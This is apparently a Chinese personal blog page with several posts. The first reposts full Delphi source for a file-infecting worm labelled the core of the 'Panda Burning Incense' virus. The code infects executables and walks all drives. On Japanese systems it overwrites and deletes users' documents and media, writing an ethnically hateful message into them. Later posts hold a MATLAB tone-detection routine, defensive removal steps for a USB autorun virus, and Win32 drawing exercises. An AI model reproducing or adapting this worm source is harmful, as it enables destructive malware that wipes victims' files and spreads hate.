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2007/2/5
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| 熊猫烧香病毒核心源代码
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[ 2007-1-27 1:12:09 | By: 野狐 ] |
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熊猫烧香 - 核心源码 -------------------------------------------------------------------------------- 僅供研究使用!後果自行負責
代码:-------------------------------------------------------------------------------- 程序代码 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end. | | | 2006/12/13 算法程序:
function result=Dist(y) fs=8192; n=0:999; d=[sin(0.7217*n)+sin(1.0247*n);sin(0.5346*n)+sin(0.9273*n);sin(0.5346*n)+sin(1.0247*n);sin(0.5346*n)+sin(1.1328*n);sin(0.5906*n)+sin(0.9273*n);sin(0.5906*n)+sin(1.0247*n);sin(0.5906*n)+sin(1.1328*n);sin(0.6535*n)+sin(0.9273*n);sin(0.6535*n)+sin(1.0247*n);sin(0.6535*n)+sin(1.1328*n)]; bre=zeros(1,1000); sound(y,fs) nums=zeros(8,1000); for n=1:8 nums(n,:)=y(2000*(n-1)+1:2000*(n-1)+1000); end test=zeros(8,10); for n=1:8 for m=0:9 temp=xcorr(nums(n,:),d(m+1,:)); test(n,m+1)=temp(1000); end end result=zeros(1,8); for n=1:8 temp=test(n,1); for m=1:9 if test(n,m+1)>temp result(n)=m; temp=test(n,m+1); end end end
测试程序:(加入5倍噪声)
n=0:999; d0=sin(0.7217*n)+sin(1.0247*n); noise=5*randn(1,1000); d0=d0+noise; d1=sin(0.5346*n)+sin(0.9273*n); noise=5*randn(1,1000); d1=d1+noise; d2=sin(0.5346*n)+sin(1.0247*n); noise=5*randn(1,1000); d2=d2+noise; d3=sin(0.5346*n)+sin(1.1328*n); noise=5*randn(1,1000); d3=d3+noise; d4=sin(0.5906*n)+sin(0.9273*n); noise=5*randn(1,1000); d4=d4+noise; d5=sin(0.5906*n)+sin(1.0247*n); noise=5*randn(1,1000); d5=d5+noise; d6=sin(0.5906*n)+sin(1.1328*n); noise=5*randn(1,1000); d6=d6+noise; d7=sin(0.6535*n)+sin(0.9273*n); noise=5*randn(1,1000); d7=d7+noise; d8=sin(0.6535*n)+sin(1.0247*n); noise=5*randn(1,1000); d8=d8+noise; d9=sin(0.6535*n)+sin(1.1328*n); noise=5*randn(1,1000); d9=d9+noise; bre=zeros(1,1000); y=[d8 bre d9 bre d7 bre d1 bre d4 bre d3 bre d9 bre d7]; Dist(y)
2006/11/26 最近,学校中很流行这样一种u盘病毒,在xp+金山2007的环境中,虽然勉强能稳定运行,但是在各盘根目录下都出现了tel.xsl.exe和autorun.inf两个文件。致使双击盘符时,自动运行tel.xsl.exe文件。该文件似乎是盗号的目的。另外,系统system32中的设备管理器mmc.exe也会遭受篡改。若不是有防毒软件的阻拦,可能出现将文件夹转化为exe文件而最终使系统崩盘。现提出处理办法如下:
1.开机进入安全模式。
2.打开"任务管理器",找到tel.xls.exe和SocksA.exe进程,把它们结束掉。到C:\WINDOWS\system32里找到SocksA.exe把它删除。另外,system32中若发现有excel图标的exe文件,也将其删除。
3.删除病毒自动启动:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "ASocksrv" = "SocksA.exe"以及
HKEY_Current_User\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "ASocksrv" = "SocksA.exe"。
4.找到 HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue,检查它的类型是否为REG_DWORD,如果不是则删掉CheckedValue,然后单击右键"新建" - "Dword值",并命名为CheckedValue,然后修改它的键值为1。
5.打开"我的电脑" - "工具" - "文件夹选项" - "查看",选择"显示所有文件和文件夹",并把"隐藏受保护的系统文件"复选框的√去除。以显示病毒产生的盘根目录上的文件。
6.在各磁盘上用右键选择"打开"(否则又将运行病毒),删除各个非系统盘根目录下的autorun.inf和tel.xsl.exe文件。
7.重新启动计算机。 2006/8/18 前续省略咯,做了一个随鼠标时动时停的文字“Hello”。
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { static int cxClient, cyClient ; static POINT pt ; HDC hdc ; PAINTSTRUCT ps ; static bool MoveNot = false ;
switch (message) { case WM_LBUTTONDOWN : if (MoveNot == true) MoveNot = false ; else MoveNot = true ; return 0 ;
case WM_MOUSEMOVE : if (MoveNot == true) { pt.x = LOWORD (lParam) ; pt.y = HIWORD (lParam) ; InvalidateRect (hwnd, NULL, TRUE) ; } return 0 ;
case WM_SIZE : cxClient = LOWORD (lParam) ; cyClient = HIWORD (lParam) ; return 0 ; case WM_PAINT : hdc = BeginPaint (hwnd, &ps) ; SetViewportOrgEx (hdc, pt.x, pt.y, NULL) ; TextOut (hdc, 0, 0, "Hello", 5) ; EndPaint (hwnd, &ps) ; return 0;
case WM_DESTROY : PostQuitMessage (0) ; return 0 ; } return DefWindowProc (hwnd, message, wParam, lParam) ; }
霍霍!感觉真的不容易哦。
2006/8/9 #include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static TCHAR szAppName[]=TEXT("Win2_5"); HWND hwnd ; MSG msg ; WNDCLASS wndclass ; wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc=WndProc; wndclass.cbClsExtra=0; wndclass.cbWndExtra=0; wndclass.hInstance=hInstance; wndclass.hIcon=LoadIcon(NULL,IDI_APPLICATION); wndclass.hCursor=LoadCursor(NULL,IDC_ARROW); wndclass.hbrBackground=(HBRUSH)GetStockObject(LTGRAY_BRUSH); wndclass.lpszMenuName=NULL; wndclass.lpszClassName=szAppName;
if(!RegisterClass(&wndclass)) { MessageBox(NULL,TEXT("This program requires Windows NT!"),szAppName,MB_ICONWARNING); return 0; } hwnd=CreateWindow(szAppName,TEXT("My Program 2_5"),WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL); ShowWindow(hwnd,iCmdShow); UpdateWindow(hwnd);
while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { static POINT aptFigure [10] = { 10,70, 50,70, 50,10, 90,10, 90,50, 30,50, 30,90, 70,90, 70,30, 10,30 }; static int cxClient, cyClient ; HDC hdc ; int i ; PAINTSTRUCT ps ; POINT apt[10] ; HPEN hPen ; HBRUSH hBrush ;
hPen = CreatePen (PS_SOLID, 4, RGB (255, 0, 0)) ; hBrush = CreateHatchBrush (HS_DIAGCROSS, RGB (25, 100, 30)) ;
switch(message) { case WM_SIZE: cxClient = LOWORD (lParam) ; cyClient = HIWORD (lParam) ; return 0 ;
case WM_PAINT: hdc = BeginPaint (hwnd, &ps) ;
SelectObject (hdc, hPen) ;
SelectObject (hdc, hBrush) ;
SetBkColor (hdc, RGB (200, 55, 255));
for (i = 0; i < 10; i++) { apt[i].x = cxClient * aptFigure[i].x / 200 ; apt[i].y = cyClient * aptFigure[i].y / 100 ; }
SetPolyFillMode (hdc, ALTERNATE) ; Polygon (hdc, apt, 10) ;
for (i = 0; i < 10; i++) { apt[i].x += cxClient / 2 ; }
SetPolyFillMode (hdc, WINDING) ;
Polygon (hdc, apt, 10) ;
EndPaint (hwnd, &ps) ; return 0 ; case WM_DESTROY: PostQuitMessage (0) ; return 0 ; } return DefWindowProc (hwnd, message, wParam, lParam) ; }
程序运行结果见图。^^! |  |
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